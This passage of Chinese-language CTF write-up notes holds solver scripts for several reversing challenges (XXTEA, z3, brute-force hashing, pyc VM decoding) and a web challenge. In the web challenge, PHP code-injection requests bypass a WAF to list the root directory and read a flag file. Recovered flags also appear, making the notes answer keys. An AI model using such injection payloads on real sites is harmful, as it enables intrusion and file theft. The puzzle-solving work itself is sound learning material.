C,0x496336AE,0xEAE5DA8A,0x7DA03065,0x00B7411D,0x22AB8BD5,0x3CAA62BF,0xB0581433,0x73DD39FB,0x5E9EE883,0xB91A3D18,0xA52B2D1A,0x05834365,0x1F9ED6B2,0xAD3B591B,0x9BDBF823,0x6807BE03,0x0414F751,0xFF70EC21,0xFEB07CBA,0x047690BE,0x603E8BF3,0x16D2BC40,0x572216EF,0x63FF8C4C,0x77991CCE,0x36B2400D,0x9977BDAF,0x04C9621F,0xC37DC00B,0x9CC85CB2,0xC5E01FDE,0x2D75607D,0xA0F556DB,0xC97F64E4,0xB579B604,0x91C35F26,0x21AF8C37,0xB743C7FD,0x12FB7F18,0x885237F5,0x1BBFCC6B,0x5C1FE441,0xBFEF973A,0xEC4676C5,0x4A47CC65,0x971EC8EE,0x3B1DB437,0x5CC8BFB3,0xB6FA47C5,0xF8E4C599,0x475D776B,0xF1CB0976,0xA3C7A932,0xC79A3984,0x084FD354,0xDAE6388B,0x91A70338,0x87CA30E9,0x5DABEF28,0x1EE48985,0xBD7FAEFF,0x44013C1F,0x570FEED8,0x7CB22CD1,0x08311758,0x5AB5DCEB,0xFD96B8B8,0xA80CE023,0x30BBB19D,0x3B33E05A,0xC7649D1E,0x4044428F,0xFE0630C9,0xF656070D,0x303A0A5D,0x16A668B3,0xABB0B40E,0x4ABC9220,0x6038B47F,0x71CF3E0A,0xFC69DAA6,0xFCA9C550,0x17427DEA,0x4DCE3693,0x2361B041,0xD0CCCD10,0x2F270DAF,0x348FA060,0x1177CE40,0x706666B6,0xC329DAF7,0xE3CCA015,0xD6D9596F,0xB2C18EDD,0x25CBE2D3,0xC1A6E67D,0xD9935CF7,0xE3D91858,0xFF9ADE8D,0x4EF7FFD9,0xAABA3CA9,0x8A831B4D,0x1FF14B96,0x9868C966,0x938E9D32,0x4216BFC4,0x7119F0E1,0x592E37B8,0x4BD7DF7C]
v55 = [0x5E476C95,0x03168871,0xEBD956D8,0xFADE7AC3,0xE562A819,0xE68BB4B7,0x0129E1D0,0xBEFBAC4D,0x0C5997B2,0x50EF791A,0x00AD7115,0xC03CF6DD,0xF88F22DD,0x395AF289,0x2D086919,0x64B9435C,0x3D4E53BF,0x26ED3F3A,0x73CD31A6,0x632BCAA9,0x8D9D5141,0xBC20D5E8,0x7CA24F43,0x0EAE0EAB,0xA1D25EBE,0xC66E4A8B,0xEFD2B05F,0xEA54005E,0xBBCAD27C,0x23B477DE,0xE7ACF2EF,0xDA45B6EB,0xA2AB9714,0xE2A9D8E4,0xF7473FD7,0xB79E7CE2,0xB11BD3F7,0x4B979910,0x6ADBAD2A,0xC23C23CA,0x56B858FB,0x8D3D9D78,0x566BEF22,0xF7C4648C,0x270E5502,0xD5153361,0xB46605CA,0xF0EA6E35,0x248AA1D1,0x37A904E7,0xF9C409F8,0xC7D6E847,0x9DB3D65E,0xEEAE0657,0xED4B16E8,0xAB272744,0x8A69915A,0xABF472DB,0x431BAF68,0x5D5A63F1,0x5A241614,0xA6DD595C,0x62377A57,0x2E1AA3AE,0xC6C92EEE,0x628F8657,0x450BCD12,0x19F51364,0x14E560C7,0xA47AF9FB,0x1E9B75E1,0x25C6B3BD,0xEE134C8A,0xED77A7B1,0xA39BC567,0x6249661A,0xB1E1E269,0xD4EEDA36,0x52F1EB18,0x783AB90C,0x4F18A1B5,0x6389A50E,0x4158FF06,0x288D47FA,0x5FED30FD,0x0702EFEE,0x2D7E047E,0x39CA116A,0x1464EA6E,0xEC17671D,0x82461730,0xDA992326,0xA290BC72,0xFE4DD1E1,0x7C151D78,0x896F2FA5,0x7C143A6D,0xEEBB14FD,0x079E59DA,0xB4CAFA56,0xBB10D122,0x0CA116CC,0x5B9C3DDC,0x5C01058E,0xAFDBEC14,0x997D56F4,0x5B5D990A,0x547664C2,0x2F2F0E34,0x3E575455,0x118DD381,0xD5DD373F,0xCFD58F8F,0xDD8414C3,0x2ADE2230,0x7BB8EED7,0x7D578A25,0xD69388CD,0x66610227,0x8EC11A15,0x81E128E1,0xA8C8365E,0xF11A5E70,0x516F9B89,0x579A6702,0x82453EB8,0x3F3A711E,0xA3BAF6BF,0xA6A1E0EB,0xD33DD107,0xC9B45D9D,0xD57C6ABB,0x70951630,0x0DA574F0,0x8C364C1F,0x018E5DB9,0xA1C5517B,0x79FF0653,0x4060D6A9,0x99B1B1C1,0x0BCA6377,0xF84546B2,0x30A65E11,0x286F3FAF,0x15CF5B32,0x21A457FE,0x1B37F262,0x60B7D2FE,0x40BA4178,0xB670B823,0x98F45A98,0x6012AFF7,0xB65FF911,0xEADBA9FE,0x840DDCA9,0x8B8CAF6A,0xB7335C16,0xA15856B7,0xF2056C14,0x74DC21D3,0x2E26E414,0x13515128,0xA3EA4C1C,0x1629376F,0x9E1A8BBC,0x745BFB36,0x3C284848,0x20D7056E,0x9408F410,0xF2EF22A5,0x2AC8CFCF,0xAFB2BC7E,0xB9B33834,0xA2E3ABBB,0x82F760BC,0xA08D613F,0xD993A7DC,0x0398B419,0xF7076946,0xD188A326,0x556AF04D,0xBABC157F,0x1B5DC56F,0xF142CE64,0x8DA31C30,0x47D32FF0,0xC542462D,0xB5C1C5F6,0xAAE1126C,0xA3B8E016,0x4B510673,0x6EE84CBF,0x87729A96,0xF8EA27BA,0x1F727559,0xB0E79D97,0x95676F4A,0xAAA351A2,0x767CCA57,0x60F3EC1C,0x46F6737A,0x3D16D3E7,0x2D73F2D3,0xDC214874,0x29B40C25,0x1959F9EE,0xC6C9C4DE,0xED342C68,0x4C6C704C,0xB2D7B5DB,0xACCEAA9C,0xD08C1AF8,0x836B6CF0,0x2EC53D53,0xE5642FA1,0x84EA2D1A,0x17DFE4B9,0xD7B34225,0xD5D63737,0x4E4E04B0,0xCF55CF68,0xD4A8DB0D,0x0C012C96,0x381568E3,0x9236A510,0xA5A264AF,0xA4B97409,0xD5D5C8CB,0xF85BB6D8,0xB017FD3D,0x2E910D94,0x707DD1E0,0x5393787D,0xD66A707C,0xB48C276E,0x47E94C4E,0x656D90D5,0xBC465549,0xC94BD5A6,0x1C60AFAC,0x3C9AA09C,0x3DFDB235,0x3B21C194,0x5787CDF2,0x3532F09D,0x4BE4DEB6,0x44AD4BF8,0xB36A893D,0x821CBE39,0x20B711AA,0x77F2CF00,0x8C3FB88A,0xC0B9B168,0x5D245929,0xB7D5DAFB,0x859D8F29]
v56 = [0xDA579091,0x36589232,0xE7B84792,0x78E07F17,0x36FA15A6,0xF0427E9F,0x71406628,0xFA9B4784,0xF2655356,0x995944EC,0x437C367D,0xDBCDE65B,0x6BA84E55,0x308D07AE,0x3DA486BB,0x04E21B79,0x6CE11C5B,0x16ED3875,0x883B60BA,0xFB72C8DF,0x4A086E1B,0x9DC7E017,0xF8DA215B,0x0D5C5718,0x68A5E75A,0x920DD029,0x8BDBB753,0x523F494F,0xF7038820,0x8F173C5F,0xE7B9C003,0x0A175A5B,0x783E2CCF,0xCE606562,0x746082D0,0xF5E4B9B3,0x8D3FE374,0x38A38F39,0xAD82BBDD,0xAFD383B2,0x00792D15,0x0D18FDA0,0x75413917,0xCC60E9AB,0x64AB36FA,0x1B7C0F0B,0x83810F82,0x150942AA,0x5E65471A,0xC1CA3BD4,0x29746D45,0x09DAE078,0x2919D6A8,0x396F2A25,0x536A4D3C,0x579DAD7A,0xCBC13F7D,0x9F7ACA79,0xA3E33AD9,0x4455D4BF,0x9DF3512E,0xE8ADFADA,0x1F28C704,0x2EBCE471,0xADC7D412,0x5DF3B361,0xD7BA20F0,0xDB88BDB5,0x04DAF222,0x98D7B48E,0x1F900BDB,0xC34AC529,0xFD3F8659,0x12C202E7,0x974775B5,0xA511DC77,0x59EDD580,0xF69A10B5,0x79EA901A,0x64DF1444,0x66C7B59B,0xEBF10CB2,0x769C7B29,0xE5AF6BF1,0xA1B398CF,0xE16484A8,0xB7764140,0xF101A355,0x37D24DD7,0x7CAA2209,0xFB8F2F11,0xE69C7211,0x12811348,0xC0E9EA5E,0xB7925FB8,0x3C88C806,0x0159C9E4,0xC616699E,0xACD60B32,0xB30DDE1A,0xDF39517E,0xB93DEE31,0x6E86159B,0xC3616961,0xB6C89355,0x12AAC939,0x3664BC33,0x45E4BDC6,0xE1719D67,0x524055CA,0xA839D8EB,0x51EA04AD,0xA6A4D406,0xAD8832E3,0xCA852837,0xE142A6E3,0xA1A400D6,0xFA35744D,0xBEF1E464,0x997B4AF8,0x6D40427C,0xBF8974D3,0x39A896F7,0xCDACF64D,0xA42E80DA,0xE4461B32,0xCCAD0577,0xD895E7BD,0x7DBB265A,0x65852658,0xCDA62FDE,0xFAD0669E,0x4B3CE34E,0xE05C7C73,0xD891CD5C,0x4FC4AA4B,0x0D1DC690,0x57BEED7D,0xDD09631E,0x5DABD689,0xD39B2958,0x72441210,0xD7E9B2E8,0xA7B762E5,0x0494F61F,0x53A5E356,0xF7978852,0xB324B320,0x13F42919,0xA9F7BE79,0x446D36E7,0xA8445880,0x1C1CA702,0x13C2ACA2,0xEB066DD4,0x7891D1DC,0x65AD6853,0xB3D70960,0x8B6FA2C7,0xC62583D6,0x5AD90C97,0x3423D303,0xC2E13FE7,0xD265DE71,0xEB31AA78,0x7582CFDF,0x0427E371,0x76495A72,0x4B47B543,0x767211EC,0x5EEC75DB,0xBC0281A3,0x3100BEDA,0x9BF13F32,0x4625717F,0x110DB24A,0x0E55CE10,0xF4FBB28F,0x8B75227D,0xC3DA7A8A,0xB826CA8F,0x5D8D6195,0xE0029488,0x888055C5,0x781F037A,0xC9F5486A,0xCDF260D9,0xCC30B60F,0x4462550C,0x688C013A,0x9A44D732,0xB0389A34,0x60BA7236,0xFE758D77,0xDFF7E69A,0xF6159765,0x824DF1A0,0x7634D70C,0xC90EA62F,0x600B3B99,0x886F8556,0xC66BAF96,0x52E382AF,0x733CAAD9,0x9B92D0A5,0xCFB3E9CA,0xEB0AD91A,0xD80D780F,0x399C80F5,0xDC9DF1A6,0x319E19B4,0x7E0D0F72,0x03CC646D,0x701A7074,0x5263E055,0xA4FD7B32,0x9C8ACE37,0xE853F925,0x4F4C4C80,0x73502E76,0x341064E2,0xEDF99D78,0x7ED987B6,0xC3B0C7C8,0x28AE1BD0,0x87B50B85,0xB0E2F87D,0xA95837A8,0x84788413,0xA56C5CF9,0xB3EACFE6,0x2820F4A1,0xC690DC48,0x63C0B2C0,0x0B2794E7,0x833C4137,0xAA7F87B8,0xC9E4252D,0xAC459CCF,0x57733C5F,0xB83E0392,0x64FAF7F2,0xED2B2884,0x8CEA3055,0xC87B67C0,0xE28ECB13,0x0440A06E,0x28164E5A,0xF52FBC43,0xC347BDE0,0xA7463ACD,0x4659105E,0xFC68D479,0x0D893FC0,0xCDAA86FC,0x1D380A6F]


t=b'ddddwwwaaawwwddd'
ra = t[0]|t[1]<<8|t[2]<<16|t[3]<<24
rb = t[4]|t[5]<<8|t[6]<<16|t[7]<<24
rc = t[8]|t[9]<<8|t[10]<<16|t[11]<<24
rd = t[12]|t[13]<<8|t[14]<<16|t[15]<<24
swapByte = lambda _x:(((_x&0xff)<<24)|((_x&0xff000000)>>24)|((_x&0xff0000)>>8)|((_x&0xff00)<<8))

#2 v15=0xc3a86870 v16=0xC9BD8E1E v18=0xC9BD8E1E
#1 v15=0x88761BFB v16=0x8D68F881 v18=0x8D68F881
#0 v18=45B37198 v16=F9B8CE1A
# v18=8493F258 v16=91B112F8

ra = 0x58f29384
rb = 0xf812b191

def change(a,b):
a = swapByte(a)
b = swapByte(b)
print(hex(a),hex(b))
a^=c1
b^=c2
a&=0xffffffff
b&=0xffffffff
print(hex(a),hex(b))
for i in range(16):
x = a^c3[i]
x&=0xffffffff
print(hex(v56[(a&0xff)]),hex(v55[(a&0xff00)>>8]),hex(v54[(a&0xff0000)>>16]),hex(v53[(a&0xff000000)>>24]))
y = b^(v56[(a&0xff)]+(v55[(a&0xff00)>>8]^(v54[(a&0xff0000)>>16]+v53[(a&0xff000000)>>24])))
y&=0xffffffff
print(hex(x),hex(y))
a=y
b=x
return a,b

print('====================')
ra,rb = change(ra,rb)
print('====================')
rc,rd = change(rc,rd)
print('====================')

print(hex(ra),hex(rb),hex(rc),hex(rd))

# 605c5235 db824ef8 2ff8e087 b4bbacfa
# db824ef8605c5235b4bbacfa2ff8e087

[rev][RCTF2019]babyre1

  1. base16解码
  2. xxtea解密
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

typedef struct TreeNode{
int8_t data;
struct TreeNode*left;
struct TreeNode*right;
} TreeNode;
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}

#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t *v, int n, uint32_t const key[4])
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}

int main(){
char target[] = "Bingo!\x00\x02";
for(size_t i=0;i<6;i++){
target[i]^=0x17;
}
printf("%s\n",target);
printArray("flag_1",target,8);
uint32_t k[] = {0xE0C7E0C7,0xC6F1D3D7,0xC6D3C6D3,0xC4D0D2CE};
btea((uint32_t*)target,2,k);
printArray("flag",target,8);
for(size_t i=0;i<8;i++){
printf("%02x",((uint32_t)target[i])&0xff);
}
printf("\n");
return 0;
}

输出了Bingo!啊,为啥不对呢

看了答案,由于最后两位是未知的,并且缺少md5,所以错误。最后一位可以猜测出是\x02,倒数第二位真的需要md5了

[rev][watevrCTF 2019]Repyc

在线pyc反编译,然后打开发现是复杂的变量名

分析虚拟机架构,重命名各个变量

得到总流程,可是最后结果出不来,看答案说是编码问题。所以为啥先用utf-8编码再处理就可以了呢。然后尝试了utf-8编码再utf-8解码,得到的数值就不一样了

后续补充:python中编码即把类型变成str,一个单位是一个数,这个数代表要显示的字符,大概可以看成一个编号;解码就是这个字符对应的字节序列

1
2
3
4
5
6
7
8
9
f = b'\xc3\xa1\xc3\x97\xc3\xa4\xc3\x93\xc3\xa2\xc3\xa6\xc3\xad\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9b\xc3\xa3\xc3\xa5\xc3\xa4\xc3\x89\xc3\x96\xc3\x93\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x96\xc3\x93\xc3\xa5\xc3\xa4\xc3\x89\xc3\x93\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x9b\xc3\x93\xc3\xa4\xc3\xa0\xc3\x99\xc3\x94\xc3\x89\xc3\x93\xc3\xa2\xc3\xa6\xc3\x89\xc3\xa0\xc3\x93\xc3\x9a\xc3\x95\xc3\x93\xc3\x92\xc3\x99\xc3\xa6\xc3\xa4\xc3\xa0\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa4\xc3\xa0\xc3\x93\xc3\x89\xc3\x9a\xc3\x93\xc3\xa1\xc3\x89\xc2\xb7\xc3\x94\xc3\xa2\xc3\x97\xc3\x9a\xc3\x95\xc3\x93\xc3\x94\xc3\x89\xc2\xb3\xc3\x9a\xc3\x95\xc3\xa6\xc3\xaf\xc3\xa8\xc3\xa4\xc3\x9f\xc3\x99\xc3\x9a\xc3\x89\xc3\x85\xc3\xa4\xc3\x97\xc3\x9a\xc3\x94\xc3\x97\xc3\xa6\xc3\x94\xc3\x89\xc3\x97\xc3\x9a\xc3\xaf\xc3\xa1\xc3\x97\xc3\xaf\xc3\xa5\xc3\x89\xc3\x9f\xc3\x89\xc3\x94\xc3\x99\xc3\x9a\xc3\xa4\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\xa0\xc3\x97\xc3\xa2\xc3\x93\xc3\x89\xc3\x97\xc3\x89\xc3\x91\xc3\x99\xc3\x99\xc3\x94\xc3\x89\xc3\xa2\xc3\x9f\xc3\x94\xc3\x89\xc3\x96\xc3\xa3\xc3\xa4\xc3\x89\xc3\x9f\xc3\x89\xc3\xa6\xc3\x93\xc3\x97\xc3\x9c\xc3\x9c\xc3\xaf\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\xa4\xc3\xa0\xc3\x9f\xc3\xa5\xc3\x89\xc3\xa5\xc3\x99\xc3\x9a\xc3\x91\xc3\x89\xc3\x9f\xc3\x89\xc3\xa0\xc3\x99\xc3\xa8\xc3\x93\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\x89\xc3\xa1\xc3\x9f\xc3\x9c\xc3\x9c\xc3\x89\xc3\x93\xc3\x9a\xc3\x9e\xc3\x99\xc3\xaf\xc3\x89\xc3\x9f\xc3\xa4\xc3\x89\xc3\x97\xc3\xa5\xc3\xa1\xc3\x93\xc3\x9c\xc3\x9c\xc2\x97\xc3\x89\xc3\xaf\xc3\x99\xc3\xa3\xc3\xa4\xc3\xa3\xc3\x96\xc3\x93\xc2\x9a\xc3\x95\xc3\x99\xc3\x9b\xc2\x99\xc3\xa1\xc3\x97\xc3\xa4\xc3\x95\xc3\xa0\xc2\xa9\xc3\xa2\xc2\xab\xc2\xb3\xc2\xa3\xc3\xaf\xc2\xb2\xc3\x95\xc3\x94\xc3\x88\xc2\xb7\xc2\xb1\xc3\xa2\xc2\xa8\xc3\xab'
a=[]
f = str(f,encoding='utf-8')
print(bytes(f,encoding='utf-8'))
print(f)
for i in f:
a.append((ord(i)+15)^135)
print()
print(bytes(a))

watevr{this_must_be_the_best_encryption_method_evr_henceforth_this_is_the_new_Advanced_Encryption_Standard_anyways_i_dont_really_have_a_good_vid_but_i_really_enjoy_this_song_i_hope_you_will_enjoy_it_aswell!_youtube.com/watch?v=E5yFcdPAGv0}

[rev][GXYCTF2019]minecraft

  1. 先判断长度为>5 <33
  2. base64编码
  3. 爆破(没想到爆破速度这么快)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

typedef struct TreeNode{
int8_t data;
struct TreeNode*left;
struct TreeNode*right;
} TreeNode;
void printArray(const char *name, uint8_t *v, size_t len)
{
printf("========%s=========\n", name);
for (size_t i = 0; i < len; i++)
{
printf("0x%02X,", v[i]);
}
printf("\n=================\n");
}
/*
len(data)=3
len(r)=4*/
int8_t base64Tab[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
void base64(uint8_t *data,uint8_t *r){
r[0]=(data[0]>>2)&0x3f;
r[1]=((data[0]<<4)&0x30)|((data[1]>>4)&0xf);
r[2]=((data[1]<<2)&0x3c)|((data[2]>>6)&0x3);
r[3]=(data[2]&0x3f);
r[0] = base64Tab[r[0]];
r[1] = base64Tab[r[1]];
r[2] = base64Tab[r[2]];
r[3] = base64Tab[r[3]];
}
uint64_t cal(uint64_t x,uint8_t y){
x ^= 0xC6A4A7935BD1E995ull * (((0xC6A4A7935BD1E995ull * y) >> 47) ^ 0xC6A4A7935BD1E995ull * y);
x *= 0xC6A4A7935BD1E995ull;
x += 0xE6546B64ull;
return x;
}
void brute(){
char tab[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789{}_+/";
size_t tabLen = strlen(tab);
uint8_t flag[4];
uint8_t r[5];
uint64_t x,y;
uint64_t target[8];
target[0] = 0x6C43B2A7ull;
target[1] = 0x7954FD91ull;
target[2] = 0xA3E9532ull;
target[3] = 0xB87B5156ull;
target[4] = 0xDA847742;
target[5] = 0x2395E7F3;
target[6] = 0xA679D954;
target[7] = 0xE1FAAFF7;
for(size_t i=0;i<8;i++){
for(size_t i1=0;i1<tabLen;i1++){
for(size_t i2=0;i2<tabLen;i2++){
for(size_t i3=0;i3<tabLen;i3++){
flag[0]=tab[i1];
flag[1]=tab[i2];
flag[2]=tab[i3];
base64(flag,r);
x=0;
x=cal(x,r[0]);
x=cal(x,r[1]);
x=cal(x,r[2]);
x=cal(x,r[3]);
x&=0xffffffffull;
if(x==target[i]){
printf("%s",flag);
}
}
}
}
}
printf("\n");
}

int main(){
brute();
return 0;
}

最后要推测,加d}

[rev][WMCTF2020]easy_re

https://www.52pojie.cn/thread-317216-1-1.html

跟进程序第一步的那个内存,然后单步往下调试,就可以看到反汇编窗口注释处各种字符串,直接复制就是脚本了

1
eax:"$flag = \"WMCTF{{I_WAnt_dynam1c_F1ag}}\";\r\nprint \"please input the flag:\";\r\n$line = <STDIN>;\r\nchomp($line);\r\nif($line eq $flag){{\r\n\tprint \"congratulation!\"\r\n}}else{{\r\n\tprint \"no,wrong\"\r\n}}"

[web][RoarCTF 2019]Easy Calc

原来可以访问calc源码啊

  1. 如果WAF中有个规则是num不是表达式就拦截,WAF解析链接的时候会把空格和某些字符转为下划线,所以WAF看到的%20num参数会解析成_num,但是PHP解析时候会将空格去掉,这样就绕过WAF了
  2. 黑名单中有单引号和双引号过滤,所以要用chr()代替字符

calc.php?%20num=phpinfo()

calc.php?%20num=var_dump(scandir(chr(47))) // 扫描根目录

有个f1agg

calc.php?%20num=show_source(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) // 获取文件内容,使用file_get_contents也行

参考

https://www.cnblogs.com/borber/p/Easy_Calc_1.html

[rev][FlareOn5]FLEGGO

一大帮exe文件

1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe

ZImIT7DyCMOeF6 651174.png => w

这个输出很奇怪

使用ResourceHacker发现所有的文件,密码都在指定的偏移处,可以直接执行

1
2
3
4
5
6
7
8
9
10
11
12
import base64
import hashlib
import os
# from z3 import *

fs = os.listdir("fleggo")
i=0
for f in fs:
if ".exe" in f:
i+=1
print("\"%s\","%f,end="")
print("\n%d"%i)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

char fnames[][256]={"1BpnGjHOT7h5vvZsV4vISSb60Xj3pX5G.exe","1JpPaUMynR9GflWbxfYvZviqiCB59RcI.exe","2AljFfLleprkThTHuVvg63I7OgjG2LQT.exe","3Jh0ELkck1MuRvzr8PLIpBNUGlspmGnu.exe","4ihY3RWK4WYqI4XOXLtAH6XV5lkoIdgv.exe","7mCysSKfiHJ4WqH2T8ERLE33Wrbp6Mqe.exe","AEVYfSTJwubrlJKgxV8RAl0AdZJ5vhhy.exe","aSfSVMn7B8eRtxgJgwPP5Y5HiDEidvKg.exe","azcyERV8HUbXmqPTEq5JFt7Ax1W5K4wl.exe","BG3IDbHOUt9yHumPceLTVbObBHFneYEu.exe","Bl0Iv5lT6wkpVCuy7jtcva7qka8WtLYY.exe","bmYBZTBJlaFNbbwpiOiiQVdzimx8QVTI.exe","Bp7836noYu71VAWc27sUdfaGwieALfc2.exe","cWvFLbliUfJl7KFDUYF1ABBFYFb6FJMz.exe","d4NlRo5umkvWhZ2FmEG32rXBNeSSLt2Q.exe","dnAciAGVdlovQFSJmNiPOdHjkM3Ji18o.exe","dT4Xze8paLOG7srCdGLsbLE1s6m3EsfX.exe","E36RGTbCE4LDtyLi97l9lSFoR7xVMKGN.exe","eEJhUoNbuc40kLHRo8GB7bwFPkuhgaVN.exe","eovBHrlDb809jf08yaAcSzcX4T37F1NI.exe","Ew93SSPDbgiQYo4E4035A16MJUxXegDW.exe","gFZw7lPUlbOXBvHRc31HJI5PKwy745Wv.exe","hajfdokqjogmoWfpyp4w0feoeyhs1QLo.exe","HDHugJBqTJqKKVtqi3sfR4BTq6P5XLZY.exe","iJO15JsCa1bV5anXnZ9dTC9iWbEDmdtf.exe","IXITujCLucnD4P3YrXOud5gC7Bwcw6mr.exe","JIdE7SESzC1aS58Wwe5j3i6XbpkCa3S6.exe","jJHgJjbyeWTTyQqISuJMpEGgE1aFs5ZB.exe","JXADoHafRHDyHmcTUjEBOvqq95spU7sj.exe","K7HjR3Hf10SGG7rgke9WrRfxqhaGixS0.exe","kGQY35HJ7gvXzDJLWe8mabs3oKpwCo6L.exe","lk0SOpnVIzTcC1Dcou9R7prKAC3laX0k.exe","MrA1JmEDfPhnTi5MNMhqVS8aaTKdxbMe.exe","NaobGsJ2w6qqblcIsj4QYNIBQhg3gmTR.exe","P2PxxSJpnquBQ3xCvLoYj4pD3iyQcaKj.exe","PvlqINbYjAY1E4WFfc2N6rZ2nKVhNZTP.exe","SDIADRKhATsagJ3K8WwaNcQ52708TyRo.exe","SeDdxvPJFHCr7uoQMjwmdRBAYEelHBZB.exe","u3PL12jk5jCZKiVm0omvh46yK7NDfZLT.exe","u8mbI3GZ8WtwruEiFkIl0UKxJS917407.exe","v6RkHsLya4wTAh71C65hMXBsTc1ZhGZT.exe","w3Y5YeglxqIWstp1PLbFoHvrQ9rN3F3x.exe","wmkeAU8MdYrC9tEUMHH2tRMgaGdiFnga.exe","x4neMBrqkYIQxDuXpwJNQZOlfyfA0eXs.exe","xatgydl5cadiWFY4EXMRuoQr22ZIRC1Y.exe","xyjJcvGAgswB7Yno5e9qLF4i13L1iGoT.exe","y77GmQGdwVL7Fc9mMdiLJMgFQ8rgeSrl.exe","zRx3bsMfOwG8IaayOeS8rHSSpiRfc9IB.exe"};
char prefix[]="fleggo/";
const size_t nLen=48;
void brute(){
for(size_t _i=0;_i<nLen;_i++){
char fullname[1024];
char password[256]={0};
sprintf(fullname,"%s%s",prefix,fnames[_i]);
FILE *f = fopen(fullname,"r");
fseek(f,0x2ab0,SEEK_SET);
fread(password,32,1,f);
fclose(f);
for(size_t i=0;i<32;i++){
password[i]=password[i*2];

}
printf("%s==>%s\n",fnames[_i],password);
FILE *pf = popen(fullname,"w");
fprintf(pf,"%s",password);
pclose(pf);
}
}

int main(){
brute();
return 0;
}

然后手动排序

[DASCTF]安恒7月赛 alphabeta

这道题竟然可以用z3,我还以为直接穷举,学到了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
import hashlib
import os
from z3 import *

# 奇数位要么等于0x54要么等于0x52
# 偶数位0x4e 0x59

a=[0x2, 0xc, 0x1a, 0x14, 0xd, 0xf, 0xb, 0x10, 0xc, 0xc, 0xf, 0xd, 0x13, 0xa, 0x12, 0x10, 0x1, 0x8, 0x11, 0x19, 0x18, 0x16, 0x18, 0x18, 0xe, 0x6, 0x5, 0x12, 0x18, 0x5, 0x6, 0x2, 0x1, 0xd, 0x14, 0x64,]

b=[0x8, 0x16, 0x1a, 0x1c, 0x18, 0x1c, 0xb, 0x12, 0x12, 0x1b, 0x1b, 0x18, 0x1c, 0x17, 0x18, 0x19, 0x9, 0xf, 0x18, 0x1a, 0x18, 0x17, 0x1a, 0x19, 0x17, 0x10, 0x19, 0x1d, 0x1e, 0x13, 0x1a, 0x17, 0x12, 0x18, 0x1d, 0xc8,]

c=[0xd, 0x19, 0xd, 0x2e, 0xc, 0x2b, 0x2a, 0x4, 0x16, 0x2e, 0x16, 0x23, 0x24, 0xc, 0x18, 0xc, 0x30, 0x8, 0x18, 0x1d, 0x29, 0x7, 0xf, 0x6, 0x15, 0x2, 0x1e, 0x13, 0xa, 0x21, 0x26, 0x5, 0x16, 0x13, 0x28, 0x69636544, 0x6e6f6973, 0x6572745f, 0x72705f65, 0x696e6e75, 0x676e, 0x0,]
d = []
target=0xd66
for i in range(35):
d.append(c[i]*(b[i]-a[i]))
s = Solver()
v = [BitVec('v%d'%i,32) for i in range(35)]
vv = [0 for i in range(35)]
summ = 0

for i in range(35):
summ+=v[i]*d[i]
for i in range(35):
s.add(v[i]>=0)
s.add(v[i]<2)
for i in range(35):
for j in range(a[i],b[i]):
vv[j]+=c[i]*v[i]
for i in range(35):
s.add(vv[i]<150)

s.add(summ==target)
res = []
flag = []
if s.check()==sat:
m = s.model()
for i in v:
res.append(m[i].as_long())
if m[i].as_long()==1:
flag.append(0x59)
else:
flag.append(0x4e)
print(res)
for i in range(35):
if (i&1)==1:
